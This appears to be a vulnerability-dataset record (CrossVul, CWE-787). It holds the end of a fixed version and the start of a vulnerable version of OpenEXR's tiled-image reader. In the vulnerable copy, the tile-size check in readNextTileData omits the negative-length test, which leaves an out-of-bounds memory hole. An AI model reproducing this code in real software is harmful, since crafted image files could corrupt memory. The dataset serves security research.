(dy1, dy2); int dyStart = dy1; int dyStop = dy2 + 1; int dY = 1; if (_data->lineOrder == DECREASING_Y) { dyStart = dy2; dyStop = dy1 - 1; dY = -1; } // // Create a task group for all tile buffer tasks. When the // task group goes out of scope, the destructor waits until // all tasks are complete. // { TaskGroup taskGroup; int tileNumber = 0; for (int dy = dyStart; dy != dyStop; dy += dY) { for (int dx = dx1; dx <= dx2; dx++) { if (!isValidTile (dx, dy, lx, ly)) THROW (IEX_NAMESPACE::ArgExc, "Tile (" << dx << ", " << dy << ", " << lx << "," << ly << ") is not a valid tile."); ThreadPool::addGlobalTask (newTileBufferTask (&taskGroup, _data->_streamData, _data, tileNumber++, dx, dy, lx, ly)); } } // // finish all tasks // } // // Exeption handling: // // TileBufferTask::execute() may have encountered exceptions, but // those exceptions occurred in another thread, not in the thread // that is executing this call to TiledInputFile::readTiles(). // TileBufferTask::execute() has caught all exceptions and stored // the exceptions' what() strings in the tile buffers. // Now we check if any tile buffer contains a stored exception; if // this is the case then we re-throw the exception in this thread. // (It is possible that multiple tile buffers contain stored // exceptions. We re-throw the first exception we find and // ignore all others.) // const string *exception = 0; for (size_t i = 0; i < _data->tileBuffers.size(); ++i) { TileBuffer *tileBuffer = _data->tileBuffers[i]; if (tileBuffer->hasException && !exception) exception = &tileBuffer->exception; tileBuffer->hasException = false; } if (exception) throw IEX_NAMESPACE::IoExc (*exception); } catch (IEX_NAMESPACE::BaseExc &e) { REPLACE_EXC (e, "Error reading pixel data from image " "file \"" << fileName() << "\". " << e.what()); throw; } } void TiledInputFile::readTiles (int dx1, int dx2, int dy1, int dy2, int l) { readTiles (dx1, dx2, dy1, dy2, l, l); } void TiledInputFile::readTile (int dx, int dy, int lx, int ly) { readTiles (dx, dx, dy, dy, lx, ly); } void TiledInputFile::readTile (int dx, int dy, int l) { readTile (dx, dy, l, l); } void TiledInputFile::rawTileData (int &dx, int &dy, int &lx, int &ly, const char *&pixelData, int &pixelDataSize) { try { Lock lock (*_data->_streamData); if (!isValidTile (dx, dy, lx, ly)) throw IEX_NAMESPACE::ArgExc ("Tried to read a tile outside " "the image file's data window."); TileBuffer *tileBuffer = _data->getTileBuffer (0); // // if file is a multipart file, we have to seek to the required tile // since we don't know where the file pointer is // int old_dx=dx; int old_dy=dy; int old_lx=lx; int old_ly=ly; if(isMultiPart(version())) { _data->_streamData->is->seekg(_data->tileOffsets(dx,dy,lx,ly)); } readNextTileData (_data->_streamData, _data, dx, dy, lx, ly, tileBuffer->buffer, pixelDataSize); if(isMultiPart(version())) { if (old_dx!=dx || old_dy !=dy || old_lx!=lx || old_ly!=ly) { throw IEX_NAMESPACE::ArgExc ("rawTileData read the wrong tile"); } } else { if(!isValidTile (dx, dy, lx, ly) ) { throw IEX_NAMESPACE::IoExc ("rawTileData read an invalid tile"); } } pixelData = tileBuffer->buffer; } catch (IEX_NAMESPACE::BaseExc &e) { REPLACE_EXC (e, "Error reading pixel data from image " "file \"" << fileName() << "\". " << e.what()); throw; } } unsigned int TiledInputFile::tileXSize () const { return _data->tileDesc.xSize; } unsigned int TiledInputFile::tileYSize () const { return _data->tileDesc.ySize; } LevelMode TiledInputFile::levelMode () const { return _data->tileDesc.mode; } LevelRoundingMode TiledInputFile::levelRoundingMode () const { return _data->tileDesc.roundingMode; } int TiledInputFile::numLevels () const { if (levelMode() == RIPMAP_LEVELS) THROW (IEX_NAMESPACE::LogicExc, "Error calling numLevels() on image " "file \"" << fileName() << "\" " "(numLevels() is not defined for files " "with RIPMAP level mode)."); return _data->numXLevels; } int TiledInputFile::numXLevels () const { return _data->numXLevels; } int TiledInputFile::numYLevels () const { return _data->numYLevels; } bool TiledInputFile::isValidLevel (int lx, int ly) const { if (lx < 0 || ly < 0) return false; if (levelMode() == MIPMAP_LEVELS && lx != ly) return false; if (lx >= numXLevels() || ly >= numYLevels()) return false; return true; } int TiledInputFile::levelWidth (int lx) const { try { return levelSize (_data->minX, _data->maxX, lx, _data->tileDesc.roundingMode); } catch (IEX_NAMESPACE::BaseExc &e) { REPLACE_EXC (e, "Error calling levelWidth() on image " "file \"" << fileName() << "\". " << e.what()); throw; } } int TiledInputFile::levelHeight (int ly) const { try { return levelSize (_data->minY, _data->maxY, ly, _data->tileDesc.roundingMode); } catch (IEX_NAMESPACE::BaseExc &e) { REPLACE_EXC (e, "Error calling levelHeight() on image " "file \"" << fileName() << "\". " << e.what()); throw; } } int TiledInputFile::numXTiles (int lx) const { if (lx < 0 || lx >= _data->numXLevels) { THROW (IEX_NAMESPACE::ArgExc, "Error calling numXTiles() on image " "file \"" << _data->_streamData->is->fileName() << "\" " "(Argument is not in valid range)."); } return _data->numXTiles[lx]; } int TiledInputFile::numYTiles (int ly) const { if (ly < 0 || ly >= _data->numYLevels) { THROW (IEX_NAMESPACE::ArgExc, "Error calling numYTiles() on image " "file \"" << _data->_streamData->is->fileName() << "\" " "(Argument is not in valid range)."); } return _data->numYTiles[ly]; } Box2i TiledInputFile::dataWindowForLevel (int l) const { return dataWindowForLevel (l, l); } Box2i TiledInputFile::dataWindowForLevel (int lx, int ly) const { try { return OPENEXR_IMF_INTERNAL_NAMESPACE::dataWindowForLevel ( _data->tileDesc, _data->minX, _data->maxX, _data->minY, _data->maxY, lx, ly); } catch (IEX_NAMESPACE::BaseExc &e) { REPLACE_EXC (e, "Error calling dataWindowForLevel() on image " "file \"" << fileName() << "\". " << e.what()); throw; } } Box2i TiledInputFile::dataWindowForTile (int dx, int dy, int l) const { return dataWindowForTile (dx, dy, l, l); } Box2i TiledInputFile::dataWindowForTile (int dx, int dy, int lx, int ly) const { try { if (!isValidTile (dx, dy, lx, ly)) throw IEX_NAMESPACE::ArgExc ("Arguments not in valid range."); return OPENEXR_IMF_INTERNAL_NAMESPACE::dataWindowForTile ( _data->tileDesc, _data->minX, _data->maxX, _data->minY, _data->maxY, dx, dy, lx, ly); } catch (IEX_NAMESPACE::BaseExc &e) { REPLACE_EXC (e, "Error calling dataWindowForTile() on image " "file \"" << fileName() << "\". " << e.what()); throw; } } bool TiledInputFile::isValidTile (int dx, int dy, int lx, int ly) const { return ((lx < _data->numXLevels && lx >= 0) && (ly < _data->numYLevels && ly >= 0) && (dx < _data->numXTiles[lx] && dx >= 0) && (dy < _data->numYTiles[ly] && dy >= 0)); } void TiledInputFile::tileOrder(int dx[], int dy[], int lx[], int ly[]) const { return _data->tileOffsets.getTileOrder(dx,dy,lx,ly); } OPENEXR_IMF_INTERNAL_NAMESPACE_SOURCE_EXIT
./CrossVul/dataset_final_sorted/CWE-787/cpp/good_4245_0
crossvul-cpp_data_bad_4245_0
/////////////////////////////////////////////////////////////////////////// // // Copyright (c) 2004, Industrial Light & Magic, a division of Lucas // Digital Ltd. LLC // // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following disclaimer // in the documentation and/or other materials provided with the // distribution. // * Neither the name of Industrial Light & Magic nor the names of // its contributors may be used to endorse or promote products derived // from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // /////////////////////////////////////////////////////////////////////////// //----------------------------------------------------------------------------- // // class TiledInputFile // //----------------------------------------------------------------------------- #include "ImfTiledInputFile.h" #include "ImfTileDescriptionAttribute.h" #include "ImfChannelList.h" #include "ImfMisc.h" #include "ImfTiledMisc.h" #include "ImfStdIO.h" #include "ImfCompressor.h" #include "ImfXdr.h" #include "ImfConvert.h" #include "ImfVersion.h" #include "ImfTileOffsets.h" #include "ImfThreading.h" #include "ImfPartType.h" #include "ImfMultiPartInputFile.h" #include "ImfInputStreamMutex.h" #include "IlmThreadPool.h" #include "IlmThreadSemaphore.h" #include "IlmThreadMutex.h" #include "ImathVec.h" #include "Iex.h" #include <string> #include <vector> #include <algorithm> #include <assert.h> #include "ImfInputPartData.h" #include "ImfNamespace.h" OPENEXR_IMF_INTERNAL_NAMESPACE_SOURCE_ENTER using IMATH_NAMESPACE::Box2i; using IMATH_NAMESPACE::V2i; using std::string; using std::vector; using std::min; using std::max; using ILMTHREAD_NAMESPACE::Mutex; using ILMTHREAD_NAMESPACE::Lock; using ILMTHREAD_NAMESPACE::Semaphore; using ILMTHREAD_NAMESPACE::Task; using ILMTHREAD_NAMESPACE::TaskGroup; using ILMTHREAD_NAMESPACE::ThreadPool; namespace { struct TInSliceInfo { PixelType typeInFrameBuffer; PixelType typeInFile; char * base; size_t xStride; size_t yStride; bool fill; bool skip; double fillValue; int xTileCoords; int yTileCoords; TInSliceInfo (PixelType typeInFrameBuffer = HALF, PixelType typeInFile = HALF, char *base = 0, size_t xStride = 0, size_t yStride = 0, bool fill = false, bool skip = false, double fillValue = 0.0, int xTileCoords = 0, int yTileCoords = 0); }; TInSliceInfo::TInSliceInfo (PixelType tifb, PixelType tifl, char *b, size_t xs, size_t ys, bool f, bool s, double fv, int xtc, int ytc) : typeInFrameBuffer (tifb), typeInFile (tifl), base (b), xStride (xs), yStride (ys), fill (f), skip (s), fillValue (fv), xTileCoords (xtc), yTileCoords (ytc) { // empty } struct TileBuffer { const char * uncompressedData; char * buffer; int dataSize; Compressor * compressor; Compressor::Format format; int dx; int dy; int lx; int ly; bool hasException; string exception; TileBuffer (Compressor * const comp); ~TileBuffer (); inline void wait () {_sem.wait();} inline void post () {_sem.post();} protected: Semaphore _sem; }; TileBuffer::TileBuffer (Compressor *comp): uncompressedData (0), buffer (0), dataSize (0), compressor (comp), format (defaultFormat (compressor)), dx (-1), dy (-1), lx (-1), ly (-1), hasException (false), exception (), _sem (1) { // empty } TileBuffer::~TileBuffer () { delete compressor; } } // namespace class MultiPartInputFile; // // struct TiledInputFile::Data stores things that will be // needed between calls to readTile() // struct TiledInputFile::Data: public Mutex { Header header; // the image header TileDescription tileDesc; // describes the tile layout int version; // file's version FrameBuffer frameBuffer; // framebuffer to write into LineOrder lineOrder; // the file's lineorder int minX; // data window's min x coord int maxX; // data window's max x coord int minY; // data window's min y coord int maxY; // data window's max x coord int numXLevels; // number of x levels int numYLevels; // number of y levels int * numXTiles; // number of x tiles at a level int * numYTiles; // number of y tiles at a level TileOffsets tileOffsets; // stores offsets in file for // each tile bool fileIsComplete; // True if no tiles are missing // in the file vector<TInSliceInfo> slices; // info about channels in file size_t bytesPerPixel; // size of an uncompressed pixel size_t maxBytesPerTileLine; // combined size of a line // over all channels int partNumber; // part number bool multiPartBackwardSupport; // if we are reading a multipart file // using OpenEXR 1.7 API int numThreads; // number of threads MultiPartInputFile* multiPartFile; // the MultiPartInputFile used to // support backward compatibility vector<TileBuffer*> tileBuffers; // each holds a single tile size_t tileBufferSize; // size of the tile buffers bool memoryMapped; // if the stream is memory mapped InputStreamMutex * _streamData; bool _deleteStream; Data (int numThreads); ~Data (); inline TileBuffer * getTileBuffer (int number); // hash function from tile indices // into our vector of tile buffers }; TiledInputFile::Data::Data (int numThreads): numXTiles (0), numYTiles (0), partNumber (-1), multiPartBackwardSupport(false), numThreads(numThreads), memoryMapped(false), _streamData(NULL), _deleteStream(false) { // // We need at least one tileBuffer, but if threading is used, // to keep n threads busy we need 2*n tileBuffers // tileBuffers.resize (max (1, 2 * numThreads)); } TiledInputFile::Data::~Data () { delete [] numXTiles; delete [] numYTiles; for (size_t i = 0; i < tileBuffers.size(); i++) delete tileBuffers[i]; if (multiPartBackwardSupport) delete multiPartFile; } TileBuffer* TiledInputFile::Data::getTileBuffer (int number) { return tileBuffers[number % tileBuffers.size()]; } namespace { void readTileData (InputStreamMutex *streamData, TiledInputFile::Data *ifd, int dx, int dy, int lx, int ly, char *&buffer, int &dataSize) { // // Read a single tile block from the file and into the array pointed // to by buffer. If the file is memory-mapped, then we change where // buffer points instead of writing into the array (hence buffer needs // to be a reference to a char *). // // // Look up the location for this tile in the Index and // seek to that position if necessary // Int64 tileOffset = ifd->tileOffsets (dx, dy, lx, ly); if (tileOffset == 0) { THROW (IEX_NAMESPACE::InputExc, "Tile (" << dx << ", " << dy << ", " << lx << ", " << ly << ") is missing."); } // // In a multi-part file, the next chunk does not need to // belong to the same part, so we have to compare the // offset here. // if (!isMultiPart(ifd->version)) { if (streamData->currentPosition != tileOffset) streamData->is->seekg (tileOffset); } else { // // In a multi-part file, the file pointer may be moved by other // parts, so we have to ask tellg() where we are. // if (streamData->is->tellg() != tileOffset) streamData->is->seekg (tileOffset); } // // Read the first few bytes of the tile (the header). // Verify that the tile coordinates and the level number // are correct. // int tileXCoord, tileYCoord, levelX, levelY; if (isMultiPart(ifd->version)) { int partNumber; Xdr::read <StreamIO> (*streamData->is, partNumber); if (partNumber != ifd->partNumber) { THROW (IEX_NAMESPACE::ArgExc, "Unexpected part number " << partNumber << ", should be " << ifd->partNumber << "."); } } OPENEXR_IMF_INTERNAL_NAMESPACE::Xdr::read <OPENEXR_IMF_INTERNAL_NAMESPACE::StreamIO> (*streamData->is, tileXCoord); OPENEXR_IMF_INTERNAL_NAMESPACE::Xdr::read <OPENEXR_IMF_INTERNAL_NAMESPACE::StreamIO> (*streamData->is, tileYCoord); OPENEXR_IMF_INTERNAL_NAMESPACE::Xdr::read <OPENEXR_IMF_INTERNAL_NAMESPACE::StreamIO> (*streamData->is, levelX); OPENEXR_IMF_INTERNAL_NAMESPACE::Xdr::read <OPENEXR_IMF_INTERNAL_NAMESPACE::StreamIO> (*streamData->is, levelY); OPENEXR_IMF_INTERNAL_NAMESPACE::Xdr::read <OPENEXR_IMF_INTERNAL_NAMESPACE::StreamIO> (*streamData->is, dataSize); if (tileXCoord != dx) throw IEX_NAMESPACE::InputExc ("Unexpected tile x coordinate."); if (tileYCoord != dy) throw IEX_NAMESPACE::InputExc ("Unexpected tile y coordinate."); if (levelX != lx) throw IEX_NAMESPACE::InputExc ("Unexpected tile x level number coordinate."); if (levelY != ly) throw IEX_NAMESPACE::InputExc ("Unexpected tile y level number coordinate."); if (dataSize < 0 || dataSize > static_cast<int>(ifd->tileBufferSize) ) throw IEX_NAMESPACE::InputExc ("Unexpected tile block length."); // // Read the pixel data. // if (streamData->is->isMemoryMapped ()) buffer = streamData->is->readMemoryMapped (dataSize); else streamData->is->read (buffer, dataSize); // // Keep track of which tile is the next one in // the file, so that we can avoid redundant seekg() // operations (seekg() can be fairly expensive). // streamData->currentPosition = tileOffset + 5 * Xdr::size<int>() + dataSize; } void readNextTileData (InputStreamMutex *streamData, TiledInputFile::Data *ifd, int &dx, int &dy, int &lx, int &ly, char * & buffer, int &dataSize) { // // Read the next tile block from the file // if(isMultiPart(ifd->version)) { int part; Xdr::read <StreamIO> (*streamData->is, part); if(part!=ifd->partNumber) { throw IEX_NAMESPACE::InputExc("Unexpected part number in readNextTileData"); } } // // Read the first few bytes of the tile (the header). // Xdr::read <StreamIO> (*streamData->is, dx); Xdr::read <StreamIO> (*streamData->is, dy); Xdr::read <StreamIO> (*streamData->is, lx); Xdr::read <StreamIO> (*streamData->is, ly); Xdr::read <StreamIO> (*streamData->is, dataSize); if (dataSize > (int) ifd->tileBufferSize) throw IEX_NAMESPACE::InputExc ("Unexpected tile block length."); // // Read the pixel data. // streamData->is->read (buffer, dataSize); // // Keep track of which tile is the next one in // the file, so that we can avoid redundant seekg() // operations (seekg() can be fairly expensive). // streamData->currentPosition += 5 * Xdr::size<int>() + dataSize; } // // A TileBufferTask encapsulates the task of uncompressing // a single tile and copying it into the frame buffer. // class TileBufferTask : public Task { public: TileBufferTask (TaskGroup *group, TiledInputFile::Data *ifd, TileBuffer *tileBuffer); virtual ~TileBufferTask (); virtual void execute (); private: TiledInputFile::Data * _ifd; TileBuffer * _tileBuffer; }; TileBufferTask::TileBufferTask (TaskGroup *group, TiledInputFile::Data *ifd, TileBuffer *tileBuffer) : Task (group), _ifd (ifd), _tileBuffer (tileBuffer) { // empty } TileBufferTask::~TileBufferTask () { // // Signal that the tile buffer is now free // _tileBuffer->post (); } void TileBufferTask::execute () { try { // // Calculate information about the tile // Box2i tileRange = OPENEXR_IMF_INTERNAL_NAMESPACE::dataWindowForTile ( _ifd->tileDesc, _ifd->minX, _ifd->maxX, _ifd->minY, _ifd->maxY, _tileBuffer->dx, _tileBuffer->dy, _tileBuffer->lx, _tileBuffer->ly); int numPixelsPerScanLine = tileRange.max.x - tileRange.min.x + 1; int numPixelsInTile = numPixelsPerScanLine * (tileRange.max.y - tileRange.min.y + 1); int sizeOfTile = _ifd->bytesPerPixel * numPixelsInTile; // // Uncompress the data, if necessary // if (_tileBuffer->compressor && _tileBuffer->dataSize < sizeOfTile) { _tileBuffer->format = _tileBuffer->compressor->format(); _tileBuffer->dataSize = _tileBuffer->compressor->uncompressTile (_tileBuffer->buffer, _tileBuffer->dataSize, tileRange, _tileBuffer->uncompressedData); } else { // // If the line is uncompressed, it's in XDR format, // regardless of the compressor's output format. // _tileBuffer->format = Compressor::XDR; _tileBuffer->uncompressedData = _tileBuffer->buffer; } // // Convert the tile of pixel data back from the machine-independent // representation, and store the result in the frame buffer. // const char *readPtr = _tileBuffer->uncompressedData; // points to where we // read from in the // tile block // // Iterate over the scan lines in the tile. // for (int y = tileRange.min.y; y <= tileRange.max.y; ++y) { // // Iterate over all image channels. // for (unsigned int i = 0; i < _ifd->slices.size(); ++i) { const TInSliceInfo &slice = _ifd->slices[i]; // // These offsets are used to facilitate both // absolute and tile-relative pixel coordinates. // int xOffset = slice.xTileCoords * tileRange.min.x; int yOffset = slice.yTileCoords * tileRange.min.y; // // Fill the frame buffer with pixel data. // if (slice.skip) { // // The file contains data for this channel, but // the frame buffer contains no slice for this channel. // skipChannel (readPtr, slice.typeInFile, numPixelsPerScanLine); } else { // // The frame buffer contains a slice for this channel. // char *writePtr = slice.base + (y - yOffset) * slice.yStride + (tileRange.min.x - xOffset) * slice.xStride; char *endPtr = writePtr + (numPixelsPerScanLine - 1) * slice.xStride; copyIntoFrameBuffer (readPtr, writePtr, endPtr, slice.xStride, slice.fill, slice.fillValue, _tileBuffer->format, slice.typeInFrameBuffer, slice.typeInFile); } } } } catch (std::exception &e) { if (!_tileBuffer->hasException) { _tileBuffer->exception = e.what (); _tileBuffer->hasException = true; } } catch (...) { if (!_tileBuffer->hasException) { _tileBuffer->exception = "unrecognized exception"; _tileBuffer->hasException = true; } } } TileBufferTask * newTileBufferTask (TaskGroup *group, InputStreamMutex *streamData, TiledInputFile::Data *ifd, int number, int dx, int dy, int lx, int ly) { // // Wait for a tile buffer to become available, // fill the buffer with raw data from the file, // and create a new TileBufferTask whose execute() // method will uncompress the tile and copy the // tile's pixels into the frame buffer. // TileBuffer *tileBuffer = ifd->getTileBuffer (number); try { tileBuffer->wait(); tileBuffer->dx = dx; tileBuffer->dy = dy; tileBuffer->lx = lx; tileBuffer->ly = ly; tileBuffer->uncompressedData = 0; readTileData (streamData, ifd, dx, dy, lx, ly, tileBuffer->buffer, tileBuffer->dataSize); } catch (...) { // // Reading from the file caused an exception. // Signal that the tile buffer is free, and // re-throw the exception. // tileBuffer->post(); throw; } return new TileBufferTask (group, ifd, tileBuffer); } } // namespace TiledInputFile::TiledInputFile (const char fileName[], int numThreads): _data (new Data (numThreads)) { _data->_streamData=NULL; _data->_deleteStream=true; // // This constructor is called when a user // explicitly wants to read a tiled file. // IStream* is = 0; try { is = new StdIFStream (fileName); readMagicNumberAndVersionField(*is, _data->version); // // Backward compatibility to read multpart file. // if (isMultiPart(_data->version)) { compatibilityInitialize(*is); return; } _data->_streamData = new InputStreamMutex(); _data->_streamData->is = is; _data->header.readFrom (*_data->_streamData->is, _data->version); initialize(); //read tile offsets - we are not multipart or deep _data->tileOffsets.readFrom (*(_data->_streamData->is), _data->fileIsComplete,false,false); _data->_streamData->currentPosition = _data->_streamData->is->tellg(); } catch (IEX_NAMESPACE::BaseExc &e) { if (_data->_streamData != 0) { if (_data->_streamData->is != 0) { delete _data->_streamData->is; _data->_streamData->is = is = 0; } delete _data->_streamData; } if (is != 0) delete is; REPLACE_EXC (e, "Cannot open image file " "\"" << fileName << "\". " << e.what()); throw; } catch (...) { if ( _data->_streamData != 0) { if ( _data->_streamData->is != 0) { delete _data->_streamData->is; _data->_streamData->is = is = 0; } delete _data->_streamData; } if (is != 0) delete is; throw; } } TiledInputFile::TiledInputFile (OPENEXR_IMF_INTERNAL_NAMESPACE::IStream &is, int numThreads): _data (new Data (numThreads)) { _data->_deleteStream=false; // // This constructor is called when a user // explicitly wants to read a tiled file. // bool streamDataCreated = false; try { readMagicNumberAndVersionField(is, _data->version); // // Backward compatibility to read multpart file. // if (isMultiPart(_data->version)) { compatibilityInitialize(is); return; } streamDataCreated = true; _data->_streamData = new InputStreamMutex(); _data->_streamData->is = &is; _data->header.readFrom (*_data->_streamData->is, _data->version); initialize(); // file is guaranteed to be single part, regular image _data->tileOffsets.readFrom (*(_data->_streamData->is), _data->fileIsComplete,false,false); _data->memoryMapped = _data->_streamData->is->isMemoryMapped(); _data->_streamData->currentPosition = _data->_streamData->is->tellg(); } catch (IEX_NAMESPACE::BaseExc &e) { if (streamDataCreated) delete _data->_streamData; delete _data; REPLACE_EXC (e, "Cannot open image file " "\"" << is.fileName() << "\". " << e.what()); throw; } catch (...) { if (streamDataCreated) delete _data->_streamData; delete _data; throw; } } TiledInputFile::TiledInputFile (const Header &header, OPENEXR_IMF_INTERNAL_NAMESPACE::IStream *is, int version, int numThreads) : _data (new Data (numThreads)) { _data->_deleteStream=false; _data->_streamData = new InputStreamMutex(); // // This constructor called by class Imf::InputFile // when a user wants to just read an image file, and // doesn't care or know if the file is tiled. // No need to have backward compatibility here, because // we have somehow got the header. // _data->_streamData->is = is; _data->header = header; _data->version = version; initialize(); _data->tileOffsets.readFrom (*(_data->_streamData->is),_data->fileIsComplete,false,false); _data->memoryMapped = is->isMemoryMapped(); _data->_streamData->currentPosition = _data->_streamData->is->tellg(); } TiledInputFile::TiledInputFile (InputPartData* part) { _data = new Data (part->numThreads); _data->_deleteStream=false; multiPartInitialize(part); } void TiledInputFile::compatibilityInitialize(OPENEXR_IMF_INTERNAL_NAMESPACE::IStream& is) { is.seekg(0); // // Construct a MultiPartInputFile, initialize TiledInputFile // with the part 0 data. // (TODO) maybe change the third parameter of the constructor of MultiPartInputFile later. // _data->multiPartBackwardSupport = true; _data->multiPartFile = new MultiPartInputFile(is, _data->numThreads); InputPartData* part = _data->multiPartFile->getPart(0); multiPartInitialize(part); } void TiledInputFile::multiPartInitialize(InputPartData* part) { if (part->header.type() != TILEDIMAGE) throw IEX_NAMESPACE::ArgExc("Can't build a TiledInputFile from a type-mismatched part."); _data->_streamData = part->mutex; _data->header = part->header; _data->version = part->version; _data->partNumber = part->partNumber; _data->memoryMapped = _data->_streamData->is->isMemoryMapped(); initialize(); _data->tileOffsets.readFrom(part->chunkOffsets,_data->fileIsComplete); _data->_streamData->currentPosition = _data->_streamData->is->tellg(); } void TiledInputFile::initialize () { // fix bad types in header (arises when a tool built against an older version of // OpenEXR converts a scanline image to tiled) // only applies when file is a single part, regular image, tiled file // if(!isMultiPart(_data->version) && !isNonImage(_data->version) && isTiled(_data->version) && _data->header.hasType() ) { _data->header.setType(TILEDIMAGE); } if (_data->partNumber == -1) { if (!isTiled (_data->version)) throw IEX_NAMESPACE::ArgExc ("Expected a tiled file but the file is not tiled."); } else { if(_data->header.hasType() && _data->header.type()!=TILEDIMAGE) { throw IEX_NAMESPACE::ArgExc ("TiledInputFile used for non-tiledimage part."); } } _data->header.sanityCheck (true); _data->tileDesc = _data->header.tileDescription(); _data->lineOrder = _data->header.lineOrder(); // // Save the dataWindow information // const Box2i &dataWindow = _data->header.dataWindow(); _data->minX = dataWindow.min.x; _data->maxX = dataWindow.max.x; _data->minY = dataWindow.min.y; _data->maxY = dataWindow.max.y; // // Precompute level and tile information to speed up utility functions // precalculateTileInfo (_data->tileDesc, _data->minX, _data->maxX, _data->minY, _data->maxY, _data->numXTiles, _data->numYTiles, _data->numXLevels, _data->numYLevels); _data->bytesPerPixel = calculateBytesPerPixel (_data->header); _data->maxBytesPerTileLine = _data->bytesPerPixel * _data->tileDesc.xSize; _data->tileBufferSize = _data->maxBytesPerTileLine * _data->tileDesc.ySize; // // Create all the TileBuffers and allocate their internal buffers // for (size_t i = 0; i < _data->tileBuffers.size(); i++) { _data->tileBuffers[i] = new TileBuffer (newTileCompressor (_data->header.compression(), _data->maxBytesPerTileLine, _data->tileDesc.ySize, _data->header)); if (!_data->_streamData->is->isMemoryMapped ()) _data->tileBuffers[i]->buffer = new char [_data->tileBufferSize]; } _data->tileOffsets = TileOffsets (_data->tileDesc.mode, _data->numXLevels, _data->numYLevels, _data->numXTiles, _data->numYTiles); } TiledInputFile::~TiledInputFile () { if (!_data->memoryMapped) for (size_t i = 0; i < _data->tileBuffers.size(); i++) delete [] _data->tileBuffers[i]->buffer; if (_data->_deleteStream) delete _data->_streamData->is; if (_data->partNumber == -1) delete _data->_streamData; delete _data; } const char * TiledInputFile::fileName () const { return _data->_streamData->is->fileName(); } const Header & TiledInputFile::header () const { return _data->header; } int TiledInputFile::version () const { return _data->version; } void TiledInputFile::setFrameBuffer (const FrameBuffer &frameBuffer) { Lock lock (*_data->_streamData); // // Set the frame buffer // // // Check if the new frame buffer descriptor is // compatible with the image file header. // const ChannelList &channels = _data->header.channels(); for (FrameBuffer::ConstIterator j = frameBuffer.begin(); j != frameBuffer.end(); ++j) { ChannelList::ConstIterator i = channels.find (j.name()); if (i == channels.end()) continue; if (i.channel().xSampling != j.slice().xSampling || i.channel().ySampling != j.slice().ySampling) THROW (IEX_NAMESPACE::ArgExc, "X and/or y subsampling factors " "of \"" << i.name() << "\" channel " "of input file \"" << fileName() << "\" are " "not compatible with the frame buffer's " "subsampling factors."); } // // Initialize the slice table for readPixels(). // vector<TInSliceInfo> slices; ChannelList::ConstIterator i = channels.begin(); for (FrameBuffer::ConstIterator j = frameBuffer.begin(); j != frameBuffer.end(); ++j) { while (i != channels.end() && strcmp (i.name(), j.name()) < 0) { // // Channel i is present in the file but not // in the frame buffer; data for channel i // will be skipped during readPixels(). // slices.push_back (TInSliceInfo (i.channel().type, i.channel().type, 0, // base 0, // xStride 0, // yStride false, // fill true, // skip 0.0)); // fillValue ++i; } bool fill = false; if (i == channels.end() || strcmp (i.name(), j.name()) > 0) { // // Channel i is present in the frame buffer, but not in the file. // In the frame buffer, slice j will be filled with a default value. // fill = true; } slices.push_back (TInSliceInfo (j.slice().type, fill? j.slice().type: i.channel().type, j.slice().base, j.slice().xStride, j.slice().yStride, fill, false, // skip j.slice().fillValue, (j.slice().xTileCoords)? 1: 0, (j.slice().yTileCoords)? 1: 0)); if (i != channels.end() && !fill) ++i; } while (i != channels.end()) { // // Channel i is present in the file but not // in the frame buffer; data for channel i // will be skipped during readPixels(). // slices.push_back (TInSliceInfo (i.channel().type, i.channel().type, 0, // base 0, // xStride 0, // yStride false, // fill true, // skip 0.0)); // fillValue ++i; } // // Store the new frame buffer. // _data->frameBuffer = frameBuffer; _data->slices = slices; } const FrameBuffer & TiledInputFile::frameBuffer () const { Lock lock (*_data->_streamData); return _data->frameBuffer; } bool TiledInputFile::isComplete () const { return _data->fileIsComplete; } void TiledInputFile::readTiles (int dx1, int dx2, int dy1, int dy2, int lx, int ly) { // // Read a range of tiles from the file into the framebuffer // try { Lock lock (*_data->_streamData); if (_data->slices.size() == 0) throw IEX_NAMESPACE::ArgExc ("No frame buffer specified " "as pixel data destination."); if (!isValidLevel (lx, ly)) THROW (IEX_NAMESPACE::ArgExc, "Level coordinate " "(" << lx << ", " << ly << ") " "is invalid."); // // Determine the first and last tile coordinates in both dimensions. // We always attempt to read the range of tiles in the order that // they are stored in the file. // if (dx1 > dx2) std::swap (dx1, dx2); if (dy1 > dy2) std::swap (dy1, dy2); int dyStart = dy1; int dyStop = dy2 + 1; int dY = 1; if (_data->lineOrder == DECREASING_Y) { dyStart = dy2; dyStop = dy1 - 1; dY = -1; } // // Create a task group for all tile buffer tasks. When the // task group goes out of scope, the destructor waits until // all tasks are complete. // { TaskGroup taskGroup; int tileNumber = 0; for (int dy = dyStart; dy != dyStop; dy += dY) { for (int dx = dx1; dx <= dx2; dx++) { if (!isValidTile (dx, dy, lx, ly)) THROW (IEX_NAMESPACE::ArgExc, "Tile (" << dx << ", " << dy << ", " << lx << "," << ly << ") is not a valid tile."); ThreadPool::addGlobalTask (newTileBufferTask (&taskGroup, _data->_streamData, _data, tileNumber++, dx, dy, lx, ly)); } } // // finish all tasks // } // // Exeption handling: // // TileBufferTask::execute() may have encountered exceptions, but // those exceptions occurred in another thread, not in the thread // that is executing this call to TiledInputFile::readTiles(). // TileBufferTask::execute() has caught all exceptions and stored // the exceptions' what() strings in the tile buffers. // 